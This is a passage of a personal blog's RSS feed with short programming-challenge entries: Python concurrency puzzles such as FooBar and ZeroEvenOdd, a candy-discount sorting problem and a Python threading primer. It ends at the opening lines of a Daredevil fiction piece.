&lt;code&gt;ZeroEvenOdd&lt;/code&gt; class with 3 functions: &lt;code&gt;zero&lt;/code&gt; outputs &lt;code&gt;0&lt;/code&gt;s, &lt;code&gt;even&lt;/code&gt; outputs even
numbers, and &lt;code&gt;odd&lt;/code&gt; outputs odd numbers. The same &lt;code&gt;ZeroEvenOdd&lt;/code&gt; instance is
passed to three different threads, where thread A calls &lt;code&gt;zero()&lt;/code&gt;, thread B calls
&lt;code&gt;even()&lt;/code&gt;, and thread C calls &lt;code&gt;odd()&lt;/code&gt;. Modify &lt;code&gt;ZeroEvenOdd&lt;/code&gt; such that given
&lt;code&gt;n=6&lt;/code&gt;, it outputs &lt;code&gt;010203040506&lt;/code&gt;. &lt;span class="citation-ref"&gt;&lt;a href="#LCPrintZeroEvenOdd"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="solution"&gt;Solution&lt;/h2&gt;
&lt;p&gt;Use a &lt;code&gt;Condition&lt;/code&gt; to pass the baton between &lt;code&gt;zero&lt;/code&gt;, &lt;code&gt;even&lt;/code&gt;, and &lt;code&gt;odd&lt;/code&gt;. I had
trouble setting up the correct loop-exit conditions. Debugging deadlocks takes
some getting used to!&lt;/p&gt;</description></item><item><title>Print FooBar Alternately</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/concurrency/print-foobar-alternately/print-foobar-alternately/</link><pubDate>Thu, 04 Jun 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/concurrency/print-foobar-alternately/print-foobar-alternately/</guid><description>&lt;h2 id="problem-statement"&gt;Problem Statement&lt;/h2&gt;
&lt;p&gt;You&amp;rsquo;re given the &lt;code&gt;FooBar&lt;/code&gt; class:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#75af00"&gt;FooBar&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;def&lt;/span&gt; &lt;span style="color:#75af00"&gt;__init__&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;n&lt;/span&gt;&lt;span style="color:#111"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;n&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;n&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;def&lt;/span&gt; &lt;span style="color:#75af00"&gt;foo&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;printFoo&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Callable[[], None]&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;None&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;for&lt;/span&gt; &lt;span style="color:#111"&gt;_&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; &lt;span style="color:#111"&gt;range&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;n&lt;/span&gt;&lt;span style="color:#111"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;printFoo&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;def&lt;/span&gt; &lt;span style="color:#75af00"&gt;bar&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;printBar&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Callable[[], None]&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;None&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;for&lt;/span&gt; &lt;span style="color:#111"&gt;_&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; &lt;span style="color:#111"&gt;range&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;n&lt;/span&gt;&lt;span style="color:#111"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;printBar&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip; and the same instance of &lt;code&gt;FooBar&lt;/code&gt; will be passed to two different threads.
Thread &lt;code&gt;A&lt;/code&gt; will call &lt;code&gt;foo()&lt;/code&gt; while thread &lt;code&gt;B&lt;/code&gt; will call &lt;code&gt;bar()&lt;/code&gt;. Modify the
program to output &lt;code&gt;foobar&lt;/code&gt; &lt;code&gt;n&lt;/code&gt; times. &lt;span class="citation-ref"&gt;&lt;a href="#LCPrintFooBarAlternately"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="solution"&gt;Solution&lt;/h2&gt;
&lt;h3 id="two-events"&gt;Two &lt;code&gt;Event&lt;/code&gt;s&lt;/h3&gt;
&lt;p&gt;We can use two &lt;code&gt;Event&lt;/code&gt;s to communicate whose turn it is to print.&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;Implementation: Two &lt;code&gt;Event&lt;/code&gt;s&lt;/summary&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; &lt;span style="color:#111"&gt;threading&lt;/span&gt; &lt;span style="color:#f92672"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Event&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; &lt;span style="color:#111"&gt;typing&lt;/span&gt; &lt;span style="color:#f92672"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Callable&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#75af00"&gt;FooBar&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;def&lt;/span&gt; &lt;span style="color:#75af00"&gt;__init__&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;n&lt;/span&gt;&lt;span style="color:#111"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;n&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;n&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;foos_turn&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;Event&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;bars_turn&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;Event&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;foos_turn&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;set&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;def&lt;/span&gt; &lt;span style="color:#75af00"&gt;foo&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;printFoo&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Callable[[], None]&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;None&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;for&lt;/span&gt; &lt;span style="color:#111"&gt;_&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; &lt;span style="color:#111"&gt;range&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;n&lt;/span&gt;&lt;span style="color:#111"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;foos_turn&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;wait&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;printFoo&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;foos_turn&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;clear&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;bars_turn&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;set&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;def&lt;/span&gt; &lt;span style="color:#75af00"&gt;bar&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;printBar&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Callable[[], None]&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;None&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;for&lt;/span&gt; &lt;span style="color:#111"&gt;_&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; &lt;span style="color:#111"&gt;range&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;n&lt;/span&gt;&lt;span style="color:#111"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;bars_turn&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;wait&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;printBar&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;bars_turn&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;clear&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;foos_turn&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;set&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;But I feel like there&amp;rsquo;s a concept that I&amp;rsquo;m missing. The two-event system is
primarily a system for communicating ownership, and that&amp;rsquo;s what &lt;code&gt;Lock&lt;/code&gt;s are for.
However, a single &lt;code&gt;Lock&lt;/code&gt; proved awkward to reason about.&lt;/p&gt;</description></item><item><title>Earliest Finish Time for Land and Water Rides</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/earliest-finish-time-land-and-water-rides/earliest-finish-time-land-and-water-rides/</link><pubDate>Wed, 03 Jun 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/earliest-finish-time-land-and-water-rides/earliest-finish-time-land-and-water-rides/</guid><description>&lt;h2 id="problem-statement"&gt;Problem Statement&lt;/h2&gt;
&lt;p&gt;There are \(L\) possible land rides and \(W\) possible water rides, with
\(1 \le L, W \le 5 \times 10^4\). A tourist must experience exactly one ride
from each category, in either order. A ride may be started at its opening time
or any later moment. Immediately after finishing one ride, the tourist may board
the other if it&amp;rsquo;s already open or wait until it opens. Return the earliest
possible time at which the tourist can finish both rides. &lt;span class="citation-ref"&gt;&lt;a href="#LCEarliestFinishTime"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Thread-Based Parallelism in Python</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/resource-management/thread-based-parallelism-python/thread-based-parallelism-python/</link><pubDate>Tue, 02 Jun 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/resource-management/thread-based-parallelism-python/thread-based-parallelism-python/</guid><description>&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;In Chromium, why wasn&amp;rsquo;t explicit threading a thing? Data structures are usually
not thread-safe. There were guardrails for scenarios like checking &lt;code&gt;WeakPtr&lt;/code&gt;s
on a different thread. However, I didn&amp;rsquo;t come out of it with a mental model for
threading primitives.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Threads are smaller units of a process that allow executing tasks in parallel,
sharing memory space. Threads are particularly useful for I/O bound tasks,
where much of the time is spent waiting for external resources. &lt;span class="citation-ref"&gt;&lt;a href="#threadingPy"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Minimum Cost of Buying Candies with Discount</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/min-cost-buying-candies-with-discount/</link><pubDate>Mon, 01 Jun 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/min-cost-buying-candies-with-discount/</guid><description>&lt;p&gt;The customer can choose any candy to takeaway for free as long as the cost of
the chosen candy is less than or equal to the minimum cost of the two candies
bought. Find the minimum cost of buying all the candies. &lt;span class="citation-ref"&gt;&lt;a href="#LCBuyingCandiesWithDiscount"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;Implementation: Sort then Traverse&lt;/summary&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;def&lt;/span&gt; &lt;span style="color:#75af00"&gt;minimumCost&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;self&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;cost&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#111"&gt;List&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;int&lt;/span&gt;&lt;span style="color:#111"&gt;])&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;int&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;cost&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;sort&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;reverse&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;True&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;minCost&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;for&lt;/span&gt; &lt;span style="color:#111"&gt;i&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; &lt;span style="color:#111"&gt;range&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;len&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;cost&lt;/span&gt;&lt;span style="color:#111"&gt;)):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;i&lt;/span&gt; &lt;span style="color:#f92672"&gt;%&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;minCost&lt;/span&gt; &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#111"&gt;cost&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;i&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;minCost&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Writing the above algorithm felt right, but I couldn&amp;rsquo;t prove why it was optimal.&lt;/p&gt;</description></item><item><title>Print in Order</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/concurrency/print-in-order/print-in-order/</link><pubDate>Mon, 01 Jun 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/concurrency/print-in-order/print-in-order/</guid><description>&lt;p&gt;Suppose we have a class:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#75af00"&gt;Foo&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;void&lt;/span&gt; &lt;span style="color:#75af00"&gt;first&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;first&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;void&lt;/span&gt; &lt;span style="color:#75af00"&gt;second&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;second&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;void&lt;/span&gt; &lt;span style="color:#75af00"&gt;third&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;third&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip; and the same instance of &lt;code&gt;Foo&lt;/code&gt; is passed to three different threads. Thread
A will call &lt;code&gt;first()&lt;/code&gt;, thread B will call &lt;code&gt;second()&lt;/code&gt; and thread C will call
&lt;code&gt;third()&lt;/code&gt;. Design &lt;code&gt;Foo&lt;/code&gt; such that &lt;code&gt;second()&lt;/code&gt; is executed after &lt;code&gt;first()&lt;/code&gt;, and
&lt;code&gt;third()&lt;/code&gt; is executed after &lt;code&gt;second()&lt;/code&gt;. &lt;span class="citation-ref"&gt;&lt;a href="#LCPrintInOrder"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;See 
&lt;a href="https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/resource-management/thread-based-parallelism-python/thread-based-parallelism-python/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Thread-Based Parallelism - Python
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 for a quick primer on Python&amp;rsquo;s synchronization primitives.&lt;/p&gt;</description></item><item><title>Daredevil: Cold Day in Hell</title><link>https://www.curiosities.dev/fiction/daredevil-cold-day-in-hell/</link><pubDate>Sun, 31 May 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/daredevil-cold-day-in-hell/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/daredevil-cold-day-in-hell.jpg');
 }
&lt;/style&gt;

&lt;p&gt;MATT. &amp;ldquo;All part of God&amp;rsquo;s plan.&amp;rdquo; What a beautiful phrase. Kind of covers it all.
Dark. Light. Don&amp;rsquo;t get yourself bothered. &lt;em&gt;It&amp;rsquo;s all God&amp;rsquo;s plan&lt;/em&gt;. Nothing
you could have done about it in any case. I understand the attraction. It&amp;rsquo;s a
nice bit of hand-waving. A catchall that pushes aside the necessity for deeper
